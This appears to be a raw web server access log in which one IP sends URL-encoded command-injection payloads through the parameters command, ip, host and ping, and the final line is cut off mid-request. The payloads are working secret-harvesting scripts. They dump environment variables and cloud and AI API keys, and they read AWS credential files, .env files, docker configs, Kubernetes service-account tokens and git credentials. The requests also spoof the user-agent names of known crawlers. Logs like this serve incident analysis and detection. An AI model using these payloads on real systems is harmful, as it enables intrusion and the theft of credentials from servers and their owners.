34.125.219.56 - - [02/Aug/2026:08:31:42 +0200] "GET /?command=%60echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END%60 HTTP/1.1" 200 27264 "-" "Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html)"
34.125.219.56 - - [02/Aug/2026:08:31:45 +0200] "GET /?ip=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 40578 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com"
34.125.219.56 - - [02/Aug/2026:08:31:45 +0200] "GET /?host=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 40578 "-" "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)"
34.125.219.56 - - [02/Aug/2026:08:31:45 +0200] "GET /?ping=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 40617 "-" "anthropic-ai"
34.125.219.56 - - [02/Aug/2026:08:31:47 +0200] "GET /?host=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 40558 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)"
34.125.219.56 - - [02/Aug/2026:08:31:47 +0200] "GET /?ping=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull